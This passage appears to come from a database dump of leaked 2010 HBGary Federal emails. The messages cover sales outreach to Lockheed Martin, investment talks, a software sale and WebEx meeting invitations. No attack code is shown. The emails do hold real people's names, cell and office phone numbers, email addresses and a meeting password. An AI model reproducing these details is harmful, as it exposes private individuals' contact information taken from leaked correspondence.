the\r\nwhitepapers.&nbsp; Let me get a look and see what technical folks/activities\r\ntie in.&nbsp; I&#8217;m working across some of the broader initiatives, and your\r\nteam&#8217;s expertise is well beyond my depth.&nbsp; I look forward to\r\nlearning more about what you are working to accomplish, and seeing if we can\r\nleverage it appropriately.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\nBrandon\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBrandon Pugsley\r\n\r\nInformation Systems &amp; Global\r\nServices-Security\r\n\r\nBusiness Development, Advanced Programs\r\n\r\nOffice 703.466.2788\r\n\r\nCell 703-999-9162\r\n\r\nPager 800-200-5295\r\n\r\nbrandon.pugsley@lmco.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Friday, July 23, 2010 11:18 AM\r\nTo: Pugsley, Brandon\r\nCc: Mcculloch, Scott D\r\nSubject: Re: EXTERNAL: Update from Ted\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi\r\nBrandon,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNice\r\nto virtually meet you. &nbsp;Did Scott attach the whitepapers? &nbsp;If not, I\r\ncan resend. &nbsp;What areas of Cyber are you focused on.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn\r\nFri, Jul 23, 2010 at 6:45 AM, Mcculloch, Scott D &lt;scott.d.mcculloch@lmco.com&gt;\r\nwrote:\r\n\r\nTed,\r\n\r\nGoo dto hear from you. And no I have not got on facebook yet.\r\n\r\nOn the CC line is Brandon, he is working some LM initiatives that could have\r\nsome relevance to your companies capabilities.\r\n\r\nScott D. McCulloch\r\nBusiness Development - Capture Excellence Lockheed Martin IS&amp;GS - Security\r\n571-246-3148 (Cell)\r\n703-466-2315 (Office)\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Wednesday, July 14, 2010 5:12 PM\r\nTo: Mcculloch, Scott D\r\nSubject: EXTERNAL: Update from Ted\r\n\r\nHi Scott,\r\n\r\nHow\'s it going? &nbsp;Did you ever get up on Facebook?\r\n\r\nI\'m trying to drum up some business, and I thought you might be interested in\r\nwhat I\'ve been up to for the last six months or so. &nbsp;I run a small\r\nsoftware development and services company, HBGary. &nbsp;We specialize in all\r\nthings related to malware. &nbsp;Greg Hoglund is our CEO and founded the\r\ncompany in 2003. &nbsp;Greg is an accomplished author, world recognized leader\r\nin rootkit technology and was recently named one of &quot;10 hackers to\r\nknow&quot; in Network Security magazine. &nbsp;We offer a number of Cyber\r\nservices including malware reverse engineering, vulnerability research, exploit\r\ndevelopment, incident response, penetration testing, and digital forensics.\r\n&nbsp;We also have a mature product-line of COTS which assist in accomplishing\r\nthose tasks.\r\n\r\n\r\n\r\nI\'ve attached three whitepapers that I think you may find interesting.\r\n&nbsp;The first is our analysis of the Aurora attack, the second is a how-to\r\nguide for using our REcon product to develop software exploits, and the third\r\ndescribes our latest Enterprise product, Active Defense.\r\n\r\n\r\n\r\nI\'d appreciate any introductions you can provide, if you know anyone that you think\r\nmay be interested in our offerings, or advice you may have.\r\n\r\nWarm Regards,\r\nTed\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\nhttp://www.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\nwww.hbgary.com &nbsp;|\r\n&nbsp;ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\nwww.hbgary.com &nbsp;|\r\n&nbsp;ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1735,'aaron_hbgary_com/1735.html'),(11312,'2010-09-03','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008594.M830672P14101Q6167.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: cpr tools','Darren Van Booven bought 5 Responder Pro\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, September 03, 2010 11:02 AM\r\nTo: Bob Slapnik\r\nSubject: cpr tools\r\n\r\nBob,\r\n\r\ndid u sell some software to cia if so what?\r\n\r\naaron\r\n\r\n',12256,'aaron_hbgary_com/12256.html'),(11313,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008595.M235672P14101Q6169.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Re: Connection','Penny,\r\n\r\nLet me introduce Nicholas from Riveria group.  I was introduced to Riveria through David Gertler, whom was one of the folks I met with at L-3 earlier in the week.  Nicholas is interested in discussing investment opportunities.\r\n\r\nAaron\r\n\r\n\r\nOn Sep 3, 2010, at 11:15 AM, Tj Gupta wrote:\r\n\r\n> Thanks Aaron, my associate, Nicholas Safford, will reach out to you to\r\n> gather the necessary information for us and introduce you to the firm.\r\n> \r\n> Best,\r\n> \r\n> Tj\r\n> \r\n> On 9/3/10, Aaron Barr  wrote:\r\n>> David,\r\n>> \r\n>> Thank you for the introduction and sure thing I will send you a note in a\r\n>> few weeks.\r\n>> \r\n>> TJ.  Happy to meet you.  My cell is 719.510.8478.  Look forward to talking\r\n>> with you.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Sep 3, 2010, at 9:39 AM, David Gertler wrote:\r\n>> \r\n>>> Aaron\r\n>>> \r\n>>> It was good talking with you the other day. As i mentioned, I would like\r\n>>> to introduce you to TJ Gupta and his private equity group.  TJ is actively\r\n>>> looking for good companies that need some expansion capital and you\r\n>>> clearly fit within his target thesis.\r\n>>> \r\n>>> Send him your phone number and I\'m sure he call you\r\n>>> \r\n>>> PS. This is my personal email address; feel free to send me a note in a\r\n>>> week or two and we\'ll grab a Starbucks.\r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n>>> David Gertler\r\n>>> \r\n>>> Sent from my iPad\r\n>> \r\n>> \r\n> \r\n> \r\n> -- \r\n> Tj Gupta\r\n> Managing Partner\r\n> Riveria Investment Group\r\n> 145 East 57th Street, 11th Floor\r\n> New York, NY 10022\r\n> Office: +1 917 421 9971\r\n> Direct: +1 212 994 4117\r\n> Mobile: +1 703 615 3291\r\n> Fax: +1 646 537 2655\r\n> www.riveriagroup.com\r\n> \r\n> Disclaimer:\r\n> The information contained in this electronic message and in any attachments\r\n> to this message is confidential, legally privileged and intended only for\r\n> the person or entity to which this electronic message is addressed. If you\r\n> are not the intended recipient, please notify the system manager and you are\r\n> hereby notified that any distribution, copying, review, retransmission,\r\n> dissemination or other use of this electronic transmission or the\r\n> information contained in it is strictly prohibited. Please accordingly also\r\n> note that any views or opinions presented in this email are solely those of\r\n> the author and may not represent those of the Company or bind the Company.\r\n> This message has been scanned for viruses and dangerous content by Mail\r\n> Scanner, and is believed to be clean. The Company accepts no liability for\r\n> any damage caused by any virus transmitted by this email.\r\n\r\n',5217,'aaron_hbgary_com/5217.html'),(11314,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008595.M36369P14101Q6168.eml','jeremy.gage@mantech.com','Guy you talked with?','was it Darren Van Booven?\r\n\r\nHe bought 5 copies of Responder Pro.\r\n\r\nWe can say that under contract we can make custom modifications to the software \r\n\r\nWe can make custom modification through the APIs and we have direct access to the product developers for custom modifications support.  Something like that work?\r\n\r\nAaron',3072,'aaron_hbgary_com/3072.html'),(11315,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008595.M444324P14101Q6170.eml','\"Ted Vera\" <ted@hbgary.com>','penny called','call you back.\r\n\r\n\r\n',4893,'aaron_hbgary_com/4893.html'),(11316,'2010-09-03','\"Gates, Tiffanny L\" <Tiffanny.Gates@ManTech.com>','/aaron@hbgary.com/new/1297008595.M639585P14101Q6171.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Investment','Sure Aaron. \r\nI am happy to help of I can. Want to try to touch base next week?\r\n\r\nOn Sep 3, 2010, at 11:44 AM, Aaron Barr  wrote:\r\n\r\n> Hi Tiffany,\r\n> \r\n> I would like to talk with you about the possibilities of investment.  We have a few shortfalls.  While I think we have positioned ourselves well with primes such as ManTech, TASC, L-3, and SAIC for long-term contracts, most of those are either not awarding until later this calendar year or early next.  We have fallen short on some of the earlier contracts we were pursuing.  Our training has the potential to be very profitable, but we are just getting that off the ground and we have cash flow \"issues\".\r\n> \r\n> So in the short term things are stressful.  In the long-term things look good.\r\n> \r\n> Aaron\r\n',4713,'aaron_hbgary_com/4713.html'),(11317,'2010-09-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008595.M838148P14101Q6172.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: penny called','ok.  i just sent you an email Ping invite...\r\n\r\nOn Fri, Sep 3, 2010 at 12:52 PM, Aaron Barr  wrote:\r\n> call you back.\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',16040,'aaron_hbgary_com/16040.html'),(11318,'2010-09-03','\"Nicholas Safford\" <ns@riveriagroup.com>','/aaron@hbgary.com/new/1297008596.M272263P14101Q6173.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','Re: Connection','Thanks Aaron,Penny - are you free next week to connect for a brief introductory call?  A tear sheet on our firm is attached with more information.Best,NicholasOn Fri, Sep 3, 2010 at 2:49 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nPenny,\r\n\r\nLet me introduce Nicholas from Riveria group.  I was introduced to Riveria through David Gertler, whom was one of the folks I met with at L-3 earlier in the week.  Nicholas is interested in discussing investment opportunities.\r\n\r\n\r\nAaron\r\n\r\n\r\nOn Sep 3, 2010, at 11:15 AM, Tj Gupta wrote:\r\n\r\n&gt; Thanks Aaron, my associate, Nicholas Safford, will reach out to you to\r\n&gt; gather the necessary information for us and introduce you to the firm.\r\n&gt;\r\n&gt; Best,\r\n&gt;\r\n&gt; Tj\r\n&gt;\r\n&gt; On 9/3/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n&gt;&gt; David,\r\n&gt;&gt;\r\n&gt;&gt; Thank you for the introduction and sure thing I will send you a note in a\r\n&gt;&gt; few weeks.\r\n&gt;&gt;\r\n&gt;&gt; TJ.  Happy to meet you.  My cell is 719.510.8478.  Look forward to talking\r\n&gt;&gt; with you.\r\n&gt;&gt;\r\n&gt;&gt; Aaron\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; On Sep 3, 2010, at 9:39 AM, David Gertler wrote:\r\n&gt;&gt;\r\n&gt;&gt;&gt; Aaron\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; It was good talking with you the other day. As i mentioned, I would like\r\n&gt;&gt;&gt; to introduce you to TJ Gupta and his private equity group.  TJ is actively\r\n&gt;&gt;&gt; looking for good companies that need some expansion capital and you\r\n&gt;&gt;&gt; clearly fit within his target thesis.\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; Send him your phone number and I&#39;m sure he call you\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; PS. This is my personal email address; feel free to send me a note in a\r\n&gt;&gt;&gt; week or two and we&#39;ll grab a Starbucks.\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; David Gertler\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; Sent from my iPad\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; Tj Gupta\r\n&gt; Managing Partner\r\n&gt; Riveria Investment Group\r\n&gt; 145 East 57th Street, 11th Floor\r\n&gt; New York, NY 10022\r\n&gt; Office: +1 917 421 9971\r\n&gt; Direct: +1 212 994 4117\r\n&gt; Mobile: +1 703 615 3291\r\n&gt; Fax: +1 646 537 2655\r\n&gt; www.riveriagroup.com\r\n&gt;\r\n&gt; Disclaimer:\r\n&gt; The information contained in this electronic message and in any attachments\r\n&gt; to this message is confidential, legally privileged and intended only for\r\n&gt; the person or entity to which this electronic message is addressed. If you\r\n&gt; are not the intended recipient, please notify the system manager and you are\r\n&gt; hereby notified that any distribution, copying, review, retransmission,\r\n&gt; dissemination or other use of this electronic transmission or the\r\n&gt; information contained in it is strictly prohibited. Please accordingly also\r\n&gt; note that any views or opinions presented in this email are solely those of\r\n&gt; the author and may not represent those of the Company or bind the Company.\r\n&gt; This message has been scanned for viruses and dangerous content by Mail\r\n&gt; Scanner, and is believed to be clean. The Company accepts no liability for\r\n&gt; any damage caused by any virus transmitted by this email.\r\n\r\n-- Nicholas J. SaffordAssociateRiveria Investment Group145 East 57th Street, 11th FloorNew York, NY 10022Office: +1 917 421 9971Mobile: +1 703 819 2629\r\nFax: +1 646 537 2655www.riveriagroup.comDisclaimer:\r\nThe information contained in this electronic message and in any attachments to this message is confidential, legally privileged and intended only for the person or entity to which this electronic message is addressed. If you are not the intended recipient, please notify the system manager and you are hereby notified that any distribution, copying, review, retransmission, dissemination or other use of this electronic transmission or the information contained in it is strictly prohibited. Please accordingly also note that any views or opinions presented in this email are solely those of the author and may not represent those of the Company or bind the Company. This message has been scanned for viruses and dangerous content by Mail Scanner, and is believed to be clean. The Company accepts no liability for any damage caused by any virus transmitted by this email.\r\n\r\n',4806,'aaron_hbgary_com/4806.html'),(11319,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008597.M374505P14101Q6175.eml','\"Gates, Tiffanny L\" <Tiffanny.Gates@mantech.com>','Re: Investment','Sounds good.  Let me know when u have some availability.\r\n\r\nAsron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 3, 2010, at 2:52 PM, \"Gates, Tiffanny L\"\r\n wrote:\r\n\r\n> Sure Aaron.\r\n> I am happy to help of I can. Want to try to touch base next week?\r\n>\r\n> On Sep 3, 2010, at 11:44 AM, Aaron Barr  wrote:\r\n>\r\n>> Hi Tiffany,\r\n>>\r\n>> I would like to talk with you about the possibilities of investment.  We have a few shortfalls.  While I think we have positioned ourselves well with primes such as ManTech, TASC, L-3, and SAIC for long-term contracts, most of those are either not awarding until later this calendar year or early next.  We have fallen short on some of the earlier contracts we were pursuing.  Our training has the potential to be very profitable, but we are just getting that off the ground and we have cash flow \"issues\".\r\n>>\r\n>> So in the short term things are stressful.  In the long-term things look good.\r\n>>\r\n>> Aaron\r\n',6045,'aaron_hbgary_com/6045.html'),(11320,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008597.M52386P14101Q6174.eml','\"Penny Leavy\" <penny@hbgary.com>','Training Brochure','\r\n',13364,'aaron_hbgary_com/13364.html'),(11321,'2010-09-03','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008597.M735512P14101Q6176.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: US CERT','Aaron are you all set for this?  Do you know where you are going?\r\nOn Tue, Aug 31, 2010 at 6:04 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nTed and I will work it out.  I think I have a good story in mind.AaronSent from my iPhone\r\n\r\n\r\n\r\nOn Aug 31, 2010, at 9:04 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:&gt; sure does he know much about the TMC&gt;&gt; what I don&#39;t understand is how to present this it is just a bunch of\r\n&gt; servers.  Maybe all you need is a few slides.  Byron doesn&#39;t know probaby&gt; how Digital DNA and REcon work and how the analysis is done.  We can also&gt; talk about how we use the TMC -- how to create a custom Genome and\r\n&gt; how we run against Virus Total etc.  also about sharing information&gt;&gt; What do you think?&gt; Here is the last slide deck I have from Greg&gt; On Tue, Aug 31, 2010 at 5:52 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n&gt;&gt;&gt; What about Ted?&gt;&gt;&gt;&gt; Sent from my iPhone&gt;&gt;&gt;&gt; On Aug 31, 2010, at 8:51 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:&gt;&gt;\r\n&gt;&gt; Aaron&gt;&gt;&gt;&gt; Greg is possibly unavailable next Thursday.  Do you believe that Shawn&gt;&gt; Bracken would be able to provide the support you need for the Threat&gt;&gt; Management Center?\r\n&gt;&gt;&gt;&gt; Greg may end up travelling to Colorado -- not confirmed yet.&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; Maria&gt;&gt;&gt;&gt; --&gt;&gt; Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n&gt;&gt;&gt;&gt; Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971&gt;&gt; email: maria@hbgary.com&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;\r\n&gt;&gt;&gt; --&gt; Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.&gt;&gt; Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971&gt; email: maria@hbgary.com\r\n&gt; &lt;HBGary__ActiveDefense_Presentation_4-20-10.pptx&gt;-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',2978,'aaron_hbgary_com/2978.html'),(11322,'2010-09-03','\"Penny Leavy\" <messenger@webex.com>','/aaron@hbgary.com/new/1297008597.M982721P14101Q6177.eml','aaron@hbgary.com','Meeting invitation: Discussion of Sub',' Hello Aaron Barr,   Penny Leavy invites you to attend this online meeting.   Topic: Discussion of Sub  Date: Friday, September 3, 2010  Time: 4:30 pm, Eastern Daylight Time (New York, GMT-04:00)  Meeting Number: 579 845 022  Meeting Password: asd123    -------------------------------------------------------  To join the online meeting (Now from the Apple iPhone (R) too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=154757867&UID=1167342967&PW=NMjY3ZjhiMzE0&RT=MiMxMQ%3D%3D  2. If requested, enter your name and email address.  3. If a password is required, enter the meeting password: asd123  4. Click \"Join\".   To view in other time zones or languages, please click the link:  https://hbgary.webex.com/hbgary/j.php?ED=154757867&UID=1167342967&PW=NMjY3ZjhiMzE0&ORT=MiMxMQ%3D%3D   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=154757867&tollFree=0   Access code:579 845 022   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".   You can contact me at:   penny@hbgary.com    To add this meeting to your calendar program (for example Microsoft Outlook), click this link:  https://hbgary.webex.com/hbgary/j.php?ED=154757867&UID=1167342967&ICS=MI&LD=1&RD=2&ST=1&SHA2=vBWMe0SBexor6eUC3aHSZ6l4WIBTf/1Ntl2ZHnbs8cE=&RT=MiMxMQ%3D%3D   The playback of UCF (Universal Communications Format) rich media files requires appropriate players. To view this type of rich media files in the meeting, please check whether you have the players installed on your computer by going to https://hbgary.webex.com/hbgary/systemdiagnosis.php   Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, discuss your concerns with the meeting host prior to the start of the recording or do not join the session. Please note that any such recordings may be subject to discovery in the event of litigation.  ',5101,'aaron_hbgary_com/5101.html'),(11323,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008598.M222593P14101Q6178.eml','penny@hbgary.com','Re: Meeting invitation: Discussion of Sub','Are there slides or just a dial in?Sent from my iPhoneOn Sep 3, 2010, at 4:09 PM, Penny Leavy &lt;messenger@webex.com&gt; wrote:\r\n Hello Aaron Barr,   Penny Leavy invites you to attend this online meeting.   Topic: Discussion of Sub \r\n Date: Friday, September 3, 2010  Time: 4:30 pm, Eastern Daylight Time (New York, GMT-04:00)  Meeting Number: 579 845 022  Meeting Password: asd123    ------------------------------------------------------- \r\n To join the online meeting (Now from the Apple iPhone (R) too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=154757867&amp;UID=1167342967&amp;PW=NMjY3ZjhiMzE0&amp;RT=MiMxMQ%3D%3D \r\n 2. If requested, enter your name and email address.  3. If a password is required, enter the meeting password: asd123  4. Click &quot;Join&quot;.   To view in other time zones or languages, please click the link: \r\n https://hbgary.webex.com/hbgary/j.php?ED=154757867&amp;UID=1167342967&amp;PW=NMjY3ZjhiMzE0&amp;ORT=MiMxMQ%3D%3D \r\n  -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&amp;ED=154757867&amp;tollFree=0 \r\n  Access code:579 845 022   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc \r\n 2. On the left navigation bar, click &quot;Support&quot;.   You can contact me at:   penny@hbgary.com    To add this meeting to your calendar program (for example Microsoft Outlook), click this link: \r\n https://hbgary.webex.com/hbgary/j.php?ED=154757867&amp;UID=1167342967&amp;ICS=MI&amp;LD=1&amp;RD=2&amp;ST=1&amp;SHA2=vBWMe0SBexor6eUC3aHSZ6l4WIBTf/1Ntl2ZHnbs8cE=&amp;RT=MiMxMQ%3D%3D \r\n  The playback of UCF (Universal Communications Format) rich media files requires appropriate players. To view this type of rich media files in the meeting, please check whether you have the players installed on your computer by going to https://hbgary.webex.com/hbgary/systemdiagnosis.php \r\n  Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com \r\n    IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, discuss your concerns with the meeting host prior to the start of the recording or do not join the session. Please note that any such recordings may be subject to discovery in the event of litigation. \r\n \r\n',5445,'aaron_hbgary_com/5445.html'),(11324,'2010-09-03','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008598.M529238P14101Q6179.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting invitation: Discussion of Sub','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nJust dial in\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, September 03, 2010 1:15 PM\r\nTo: penny@hbgary.com\r\nSubject: Re: Meeting invitation: Discussion of Sub\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAre there slides or just a dial in?\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 3, 2010, at 4:09 PM, Penny Leavy &lt;messenger@webex.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHello Aaron Barr, \r\n\r\nPenny Leavy invites you to attend this online meeting. \r\n\r\nTopic: Discussion of Sub \r\nDate: Friday, September 3, 2010 \r\nTime: 4:30 pm, Eastern Daylight Time (New York, GMT-04:00) \r\nMeeting Number: 579 845 022 \r\nMeeting Password: asd123 \r\n\r\n\r\n------------------------------------------------------- \r\nTo join the online meeting (Now from the Apple iPhone (R) too!) \r\n------------------------------------------------------- \r\n1. Go to https://hbgary.webex.com/hbgary/j.php?ED=154757867&amp;UID=1167342967&amp;PW=NMjY3ZjhiMzE0&amp;RT=MiMxMQ%3D%3D\r\n\r\n2. If requested, enter your name and email address. \r\n3. If a password is required, enter the meeting password: asd123 \r\n4. Click &quot;Join&quot;. \r\n\r\nTo view in other time zones or languages, please click the link: \r\nhttps://hbgary.webex.com/hbgary/j.php?ED=154757867&amp;UID=1167342967&amp;PW=NMjY3ZjhiMzE0&amp;ORT=MiMxMQ%3D%3D\r\n\r\n\r\n------------------------------------------------------- \r\nTo join the audio conference only \r\n------------------------------------------------------- \r\nCall-in toll number (US/Canada): 1-408-792-6300 \r\nGlobal call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&amp;ED=154757867&amp;tollFree=0\r\n\r\n\r\nAccess code:579 845 022 \r\n\r\n------------------------------------------------------- \r\nFor assistance \r\n------------------------------------------------------- \r\n1. Go to https://hbgary.webex.com/hbgary/mc\r\n\r\n2. On the left navigation bar, click &quot;Support&quot;. \r\n\r\nYou can contact me at: \r\npenny@hbgary.com \r\n\r\n\r\nTo add this meeting to your calendar program (for example Microsoft Outlook),\r\nclick this link: \r\nhttps://hbgary.webex.com/hbgary/j.php?ED=154757867&amp;UID=1167342967&amp;ICS=MI&amp;LD=1&amp;RD=2&amp;ST=1&amp;SHA2=vBWMe0SBexor6eUC3aHSZ6l4WIBTf/1Ntl2ZHnbs8cE=&amp;RT=MiMxMQ%3D%3D\r\n\r\n\r\nThe playback of UCF (Universal Communications Format) rich media files requires\r\nappropriate players. To view this type of rich media files in the meeting,\r\nplease check whether you have the players installed on your computer by going\r\nto https://hbgary.webex.com/hbgary/systemdiagnosis.php\r\n\r\n\r\nSign up for a free trial of WebEx \r\nhttp://www.webex.com/go/mcemfreetrial\r\n\r\n\r\nhttp://www.webex.com \r\n\r\n\r\n\r\nIMPORTANT NOTICE: This WebEx service includes a feature that allows audio and\r\nany documents and other materials exchanged or viewed during the session to be\r\nrecorded. By joining this session, you automatically consent to such\r\nrecordings. If you do not consent to the recording, discuss your concerns with\r\nthe meeting host prior to the start of the recording or do not join the\r\nsession. Please note that any such recordings may be subject to discovery in\r\nthe event of litigation. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11000,'aaron_hbgary_com/11000.html'),(11325,'2010-09-03','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008598.M752818P14101Q6180.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Fwd: How is the DoD Using Social Media','Check this out.---------- Forwarded message ----------From: Defense Daily &lt;reply-99764@mail.accessintelemail.com&gt;\r\nDate: Fri, Sep 3, 2010 at 1:19 PMSubject: How is the DoD Using Social MediaTo: bob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n\r\n	\r\n		\r\n			\r\n\r\n		\r\n			\r\n\r\n	\r\n	\r\n		\r\n			\r\n		\r\n			\r\n	\r\n\r\n\r\nDespite all the excitement about the potential of the Department of Defense&#39;s use of social media, important issues remain. Including: \r\n\r\nTop Defense Department officials have acknowledged that social media can be a double-edge sword, providing benefits but also exposing a cyber security risk. Operational security, which had been the largest\r\nstumbling block to initiating a policy in the first place, continues to be a challenge.\r\nAnother issue is metrics. How can the potential of social media efforts be measured? What initiatives are they most appropriate for?\r\nWhat are some early lessons learned from social media efforts? What does the future hold? Is the Defense Department likely to commit even more resources to social media efforts? \r\n\r\n\r\nYou will take away from this 90 minute webinar knowledgeable insight and analysis of what the near term future holds for DoD&#39;s social media efforts.\r\n\r\n\r\n\r\n\r\n\r\nHear From:\r\n\r\n\r\n\r\nMajor Juanita Chang\r\n\r\nDirector, Online and Social Media Division of the \r\nOffice of the Chief of Public Affairs\r\nU.S. Army, Pentagon\r\n\r\n\r\n\r\nCommander Scott McIlnay\r\nDirector of Emerging Media Integration \r\nDepartment of the Navy&#39;s Office of Information (CHINFO) \r\nU.S. Navy, Pentagon\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGregg Your\r\n\r\nChief of Command Information/Public Access Web Content Manager\r\nU.S. Joint Forces Command\r\n\r\n\r\n\r\n\r\nWebinar Moderator\r\n      John Bell\r\nManaging Director/360° Digital Influence\r\nOgilvy Public Relations\r\n\r\n\r\nYou can view it at your desk or gather around a speakerphone in a conference room – no travel required! Each registration comes with access to the archived version of the program and the\r\nPDFs of the speaker materials for twelve months.  \r\n\r\nVisit www.defensedaily.com/events/socialmediawebinar to register and for more information. Register your\r\nteam 